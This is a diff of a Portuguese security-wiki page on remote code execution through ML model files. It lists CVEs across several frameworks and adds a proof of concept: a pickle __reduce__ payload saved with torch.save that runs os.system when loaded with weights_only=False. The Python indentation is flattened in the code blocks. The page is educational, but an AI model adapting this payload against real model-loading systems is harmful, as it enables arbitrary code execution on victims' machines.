diff --git a/src/AI/AI-Models-RCE.md b/src/AI/AI-Models-RCE.md
index 0b51c6905..2462cb2df 100644
--- a/src/AI/AI-Models-RCE.md
+++ b/src/AI/AI-Models-RCE.md
@@ -8,21 +8,58 @@ Modelos de Machine Learning são geralmente compartilhados em diferentes formato
 
 No momento da escrita, estes são alguns exemplos desse tipo de vulnerabilidades:
 
-| **Framework / Ferramenta**  | **Vulnerabilidade (CVE se disponível)**                                                                                       | **Vetor de RCE**                                                                                                                        | **Referências**                               |
-|------------------------------|-------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
-| **PyTorch** (Python)        | *Desserialização insegura em* `torch.load` **(CVE-2025-32434)**                                                             | Pickle malicioso no ponto de verificação do modelo leva à execução de código (contornando a proteção `weights_only`)                     | |
-| PyTorch **TorchServe**      | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471**                                                                         | SSRF + download de modelo malicioso causa execução de código; RCE de desserialização Java na API de gerenciamento                        | |
-| **TensorFlow/Keras**        | **CVE-2021-37678** (YAML inseguro) <br> **CVE-2024-3660** (Keras Lambda)                                                    | Carregar modelo de YAML usa `yaml.unsafe_load` (execução de código) <br> Carregar modelo com camada **Lambda** executa código Python arbitrário | |
-| TensorFlow (TFLite)         | **CVE-2022-23559** (análise TFLite)                                                                                           | Modelo `.tflite` malformado aciona estouro de inteiro → corrupção de heap (potencial RCE)                                             | |
-| **Scikit-learn** (Python)   | **CVE-2020-13092** (joblib/pickle)                                                                                            | Carregar um modelo via `joblib.load` executa pickle com o payload `__reduce__` do atacante                                              | |
-| **NumPy** (Python)          | **CVE-2019-6446** (inseguro `np.load`) *disputado*                                                                           | `numpy.load` padrão permitia arrays de objetos pickle – `.npy/.npz` malicioso aciona execução de código                                 | |
-| **ONNX / ONNX Runtime**     | **CVE-2022-25882** (traversal de diretório) <br> **CVE-2024-5187** (traversal tar)                                          | O caminho de pesos externos do modelo ONNX pode escapar do diretório (ler arquivos arbitrários) <br> Modelo ONNX malicioso tar pode sobrescrever arquivos arbitrários (levando a RCE) | |
+| **Framework / Ferramenta**  | **Vulnerabilidade (CVE se disponível)**                                                                                     | **Vetor RCE**                                                                                                                         | **Referências**                               |
+|------------------------------|------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
+| **PyTorch** (Python)        | *Desserialização insegura em* `torch.load` **(CVE-2025-32434)**                                                            | Pickle malicioso no ponto de verificação do modelo leva à execução de código (contornando a proteção `weights_only`)                    | |
+| PyTorch **TorchServe**      | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471**                                                                        | SSRF + download de modelo malicioso causa execução de código; RCE de desserialização Java na API de gerenciamento                       | |
+| **TensorFlow/Keras**        | **CVE-2021-37678** (YAML inseguro) <br> **CVE-2024-3660** (Keras Lambda)                                                   | Carregar modelo de YAML usa `yaml.unsafe_load` (execução de código) <br> Carregar modelo com camada **Lambda** executa código Python arbitrário | |
+| TensorFlow (TFLite)         | **CVE-2022-23559** (análise TFLite)                                                                                         | Modelo `.tflite` elaborado provoca estouro de inteiro → corrupção de heap (potencial RCE)                                             | |
+| **Scikit-learn** (Python)   | **CVE-2020-13092** (joblib/pickle)                                                                                          | Carregar um modelo via `joblib.load` executa pickle com o payload `__reduce__` do atacante                                             | |
+| **NumPy** (Python)          | **CVE-2019-6446** (inseguro `np.load`) *disputado*                                                                         | `numpy.load` padrão permitia arrays de objetos pickle – `.npy/.npz` malicioso provoca execução de código                                | |
+| **ONNX / ONNX Runtime**     | **CVE-2022-25882** (traversal de diretório) <br> **CVE-2024-5187** (traversal tar)                                         | O caminho de pesos externos do modelo ONNX pode escapar do diretório (ler arquivos arbitrários) <br> Modelo ONNX malicioso tar pode sobrescrever arquivos arbitrários (levando a RCE) | |
 | ONNX Runtime (risco de design) | *(Sem CVE)* operações personalizadas ONNX / fluxo de controle                                                               | Modelo com operador personalizado requer carregamento do código nativo do atacante; gráficos de modelo complexos abusam da lógica para executar cálculos não intencionais | |
-| **NVIDIA Triton Server**    | **CVE-2023-31036** (traversal de caminho)                                                                                     | Usar a API de carregamento de modelo com `--model-control` habilitado permite traversal de caminho relativo para escrever arquivos (ex.: sobrescrever `.bashrc` para RCE) | |
-| **GGML (formato GGUF)**     | **CVE-2024-25664 … 25668** (múltiplos estouros de heap)                                                                      | Arquivo de modelo GGUF malformado causa estouros de buffer de heap no parser, permitindo execução de código arbitrário no sistema da vítima | |
-| **Keras (formatos antigos)** | *(Sem nova CVE)* Modelo Keras H5 legado                                                                                       | Modelo HDF5 malicioso (`.h5`) com código de camada Lambda ainda executa ao carregar (modo seguro do Keras não cobre formato antigo – “ataque de downgrade”) | |
-| **Outros** (geral)          | *Falha de design* – Serialização Pickle                                                                                       | Muitas ferramentas de ML (ex.: formatos de modelo baseados em pickle, `pickle.load` do Python) executarão código arbitrário embutido em arquivos de modelo, a menos que mitigado | |
+| **NVIDIA Triton Server**    | **CVE-2023-31036** (traversal de caminho)                                                                                   | Usar a API de carregamento de modelo com `--model-control` habilitado permite traversal de caminho relativo para escrever arquivos (por exemplo, sobrescrever `.bashrc` para RCE) | |
+| **GGML (formato GGUF)**     | **CVE-2024-25664 … 25668** (múltiplos estouros de heap)                                                                     | Arquivo de modelo GGUF malformado causa estouros de buffer de heap no parser, permitindo execução de código arbitrário no sistema da vítima | |
+| **Keras (formatos antigos)** | *(Sem nova CVE)* Modelo Keras H5 legado                                                                                     | Modelo HDF5 malicioso (`.h5`) com código de camada Lambda ainda executa ao carregar (modo seguro do Keras não cobre formato antigo – “ataque de downgrade”) | |
+| **Outros** (geral)          | *Falha de design* – Serialização Pickle                                                                                     | Muitas ferramentas de ML (por exemplo, formatos de modelo baseados em pickle, `pickle.load` do Python) executarão código arbitrário embutido em arquivos de modelo, a menos que mitigado | |
 
 Além disso, existem alguns modelos baseados em pickle do Python, como os usados pelo [PyTorch](https://github.com/pytorch/pytorch/security), que podem ser usados para executar código arbitrário no sistema se não forem carregados com `weights_only=True`. Portanto, qualquer modelo baseado em pickle pode ser especialmente suscetível a esse tipo de ataque, mesmo que não esteja listado na tabela acima.
 
+Exemplo:
+
+- Crie o modelo:
+```python
+# attacker_payload.py
+import torch
+import os
+
+class MaliciousPayload:
+def __reduce__(self):
+# This code will be executed when unpickled (e.g., on model.load_state_dict)
+return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))
+
+# Create a fake model state dict with malicious content
+malicious_state = {"fc.weight": MaliciousPayload()}
+
+# Save the malicious state dict
+torch.save(malicious_state, "malicious_state.pth")
+```
+- Carregue o modelo:
+```python
+# victim_load.py
+import torch
+import torch.nn as nn
+
+class MyModel(nn.Module):
+def __init__(self):
+super().__init__()
+self.fc = nn.Linear(10, 1)
+
+model = MyModel()
+
+# ⚠️ This will trigger code execution from pickle inside the .pth file
+model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
+
+# /tmp/pwned.txt is created even if you get an error
+```
 {{#include ../banners/hacktricks-training.md}}